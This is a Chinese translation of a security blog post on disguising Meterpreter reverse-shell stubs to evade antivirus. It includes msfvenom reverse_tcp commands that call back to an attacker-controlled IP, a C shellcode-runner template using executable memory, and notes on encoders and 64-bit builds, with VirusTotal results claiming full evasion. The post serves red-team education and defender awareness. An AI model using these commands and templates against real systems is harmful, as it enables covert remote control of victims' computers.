三种简单伪装技术绕过杀毒软件检测

本文详细介绍了三种绕过杀毒软件检测的实用技术:使用64位架构、自定义模板和Shellcode编码,通过实验证明自定义模板结合64位架构可实现100%绕过检测。

三种简单伪装技术绕过杀毒软件检测

作者:Logan Lembke
警告: 本博文中引用的技术和工具可能已过时,不适用于当前情况。但本文仍可作为学习机会,并可能集成到现代工具和技术中。

自1990年代以来,杀毒软件一直是防御计算机系统的关键组件。多年来,杀毒软件逐渐主导了PC安全讨论,其他手段则被边缘化。Symantec和McAfee等品牌不断争夺市场,各自声称拥有奇迹般的解决方案。
尽管你可能听到各种说法,但让我向你保证:杀毒软件已死。原因如下:

绕过杀毒软件极其简单

首先,检测恶意代码很困难。迄今为止,没有人能回答这个问题:这段代码会毁掉我的一天吗?然而,我们已经学会了回答另一个问题:这段代码看起来像曾经毁掉别人一天的东西吗?
如果我们想避免检测,只需在代码上“贴上胡子和单片眼镜”再发送即可。

他们永远不会发现我

伪装恶意代码可以通过几种技术实现,但在讨论有效伪装之前,先来看看恶意代码通常长什么样。

外行人对Meterpreter的解释

根据Offensive Security的说法,“Meterpreter是一种高级、动态可扩展的有效载荷,使用内存中的DLL注入桩程序,并在运行时通过网络扩展。它通过桩套接字通信,并提供全面的客户端Ruby API。它具有命令历史、选项卡完成、通道等功能。”
更简单地说,“Meterpreter是一段可以在运行时加载更多代码的代码。它可以使用不同方法与其服务器通信,并且客户端可以被其他程序员扩展。”因此,攻击者经常使用Meterpreter来控制目标机器,并且由于该程序易于扩展,Meterpreter可以发起从键盘记录器到权限提升的一系列攻击。

Meterpreter vs. 杀毒软件。战斗!

虽然杀毒软件可以检测Meterpreter,但该程序背后的架构使其极难捕获。
通常,Meterpreter由“桩程序”启动。桩程序的任务是在目标计算机和攻击者服务器之间建立通信。此外,它需要开始加载Meterpreter客户端的其余部分。得益于这种分块架构,只需在目标计算机上部署桩程序即可运行程序。由于Meterpreter的其余部分可以从内存启动,只有桩程序需要偷偷绕过AV。

Shellcode

Meterpreter桩程序可以使用几种技术部署在目标计算机上。每种技术的核心是“shellcode”。对于Meterpreter桩程序,shellcode是实际完成桩程序目标的机器代码:建立通信并启动Meterpreter的其余部分。
Shellcode在我们网站之前发布的几篇博文中都有使用。
在Brian的优秀博文“如何绕过应用程序白名单和AV”中,他使用以下命令生成可在C#编程语言中执行的shellcode:
msfvenom -p windows/meterpreter/reverse_tcp lhost=YOUR_IP lport=443 -f csharp > shellcode.txt
此命令将以下混乱内容写入名为shellcode.txt的文件中。

Wat.
我们看到的是十六进制数字列表,对应于创建Meterpreter桩程序所需的机器代码。具体来说,此桩程序在TCP端口443上连接回攻击者的机器,并开始加载Meterpreter客户端的其余部分。
识别此shellcode是杀毒产品识别恶意类似程序的一种方式。

模板

虽然每个人都喜欢谈论shellcode,但创建Meterpreter桩程序还有更多内容。Shellcode必须由某些东西执行。老式漏洞利用通过将shellcode加载到易受攻击的程序中并强制程序执行它来工作。在网络钓鱼的情况下,shellcode可以嵌入VBA宏中,并在Microsoft Word、Excel和PowerPoint文档中运行。(查看Sally关于在PowerPoint中绕过AV的精彩博文。)
在最简单的情况下,shellcode被放置在一个预制的模板中并由自身执行。默认情况下,MSFVenom(最常用于生成Meterpreter桩程序的程序)提供自己的模板。然而,正如Joff之前在这里解释的,这些模板可以被修改!
我们为什么要修改模板?简而言之,大多数AV产品检查用于执行shellcode的模板,而不是shellcode本身。

现在只需给他们假胡子!

伪装

到目前为止,我们已经确定了Meterpreter桩程序,并看到它由shellcode和模板组成。现在,让我们看看可用于隐藏桩程序的不同伪装。我们可以改变整个桩程序的架构,修改shellcode周围的模板,或者改变shellcode本身。每个更改都为伪装添加了新内容。一些更改会大大改变我们的可执行文件,其他更改只会轻微影响结果。我们将在后文比较每种技术的有用性。

64位魔法

目前,Steam硬件调查显示,超过85%的用户运行64位操作系统。虽然这可能不代表商业领域,但清楚表明64位操作系统正变得越来越普遍。
当针对64位操作系统时,我们可以选择部署32位或64位桩程序。虽然32位桩程序适用于任何现代Windows安装,但64位桩程序更具规避性。使用64位桩程序本身并不 inherently 狡猾,但似乎为最常见Meterpreter桩程序的64位变体编写的签名较少。

模板技巧

MSFVenom为Windows可执行文件提供两个默认模板:一个用于32位shellcode,另一个用于64位shellcode。这些模板本质上是空的.exe文件,并且对杀毒引擎来说是众所周知的。
遵循PE/COFF格式的Windows EXE文件由几个不同的部分组成,每个部分具有不同的权限。这些权限限制运行时读取、写入或执行数据的能力。例如,包含要执行的代码的部分(.text)通常在运行时不可写。
创建Meterpreter桩程序时,MSFVenom将查看所用模板的默认可执行(.text)部分,如果有足够空间,则将shellcode插入其中。否则,MSFVenom将在.exe文件中创建一个新部分,将其标记为可执行,将shellcode放置在那里,并修改可执行文件以从新部分启动。
然而,我们可以选择提供自己的EXE文件供程序修改,而不是使用MSFVenom的默认模板。此技术的常见选择是每个Windows安装中包含的可执行文件,如write.exe和notepad.exe。默认情况下,模板可执行文件将不再正常功能,除非明确告诉MSFVenom在新线程中启动桩程序。

自己编写模板

除了修改现有可执行文件,我们还可以选择编写自己的模板。在这种方法中,我们使用MSFVenom生成用于所选编程语言的shellcode。(在以下示例中,我选择了C编程语言)。然后,我们将shellcode插入自制的模板中,并告诉计算机执行代码。

分步说明:
首先,运行 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Listening Port> -f c > shell_code.c 2>&1
你的shell_code.c文件应类似于以下内容:

接下来,打开Microsoft Visual Studio。如果你没有Visual Studio,可以从此处选择社区版获取免费副本。
现在,创建一个新的C/C++空项目,并将以下代码添加到新文件中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#include <stdio.h>
#include <windows.h> //VirtualAlloc定义在这里
unsigned const char payload[] = ""; //由msfvenom输出的shellcode
size_t size = 0; //payload的大小(字节数,由msfvenom输出)
int main(int argc, char **argv) {
    char *code;                       //保存内存地址
    code = (char *)VirtualAlloc(      //分配一块内存并存储起始地址
            NULL, size, MEM_COMMIT,     
            PAGE_EXECUTE_READWRITE   //设置内存为可写和可执行
        );
    memcpy(code, payload, size);      //将我们的payload复制到内存的可执行部分
    ((void(*)())code)();              //将可执行内存转换为函数指针并运行它
    return(0);
}

现在,将payload字符串设置为shellcode文件中buf的内容,并将size变量设置为payload大小。
最后,在Visual Studio中点击构建。
如果你希望为64位架构编译,必须使用MSFVenom生成64位shellcode,并在Visual Studio中将编译架构设置为64位。

Shellcode编码器

除了改变桩程序的架构和模板,我们还可以尝试伪装shellcode本身。MSFVenom能够使用其编码器系统用可逆密码混淆桩程序的shellcode。该系统最初是为了处理正在处理的shellcode中的不安全字符而创建的。然而,在研究AV规避技术时,编码器似乎是一个常见的建议。虽然它们的有效性有待商榷,但两种编码器被广泛使用:用于32位shellcode的Shikata Ga Nai,和用于64位shellcode的XOR编码。

多么英俊的一群

综合应用

既然我们已经选择了伪装,就需要对它们进行测试。首先,我们需要选择要伪装的shellcode。Meterpreter桩程序三种最常见的shellcode是reverse_tcp、reverse_http和reverse_https。接下来,我们需要确定要测试多少种不同的伪装。我们可以选择32位或64位,使用默认模板或自定义模板,或者编码shellcode与否。总的来说,这导致需要测试二十四种不同的桩程序。
在生成所有二十四种桩程序并确保它们工作后,我通过Virus Total运行它们并绘制了结果。

如你所见,移动到自定义模板是最有效的伪装。然而,简单地将目标架构更改为64位就挫败了超过一半的测试AV引擎。当结合两种伪装时,我们的恶意软件溜过了每一个测试的引擎。
在32位桩程序的情况下,只有一个杀毒引擎能够检测到我们佩戴所有三种伪装的恶意软件:Qihoo 360。即使如此,它也只是通过启发式被识别为一般恶意软件。
AV规避超出了本文讨论的技术。例如,你可以在shellcode汇编为机器代码之前对其进行更改,可以使用不同的编程语言创建模板,并可以使用Veil规避套件的全部功能。杀毒软件仍然是蓝队工具带中有用的工具,但要注意,对于任何高级持久威胁,杀毒软件几乎已死。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计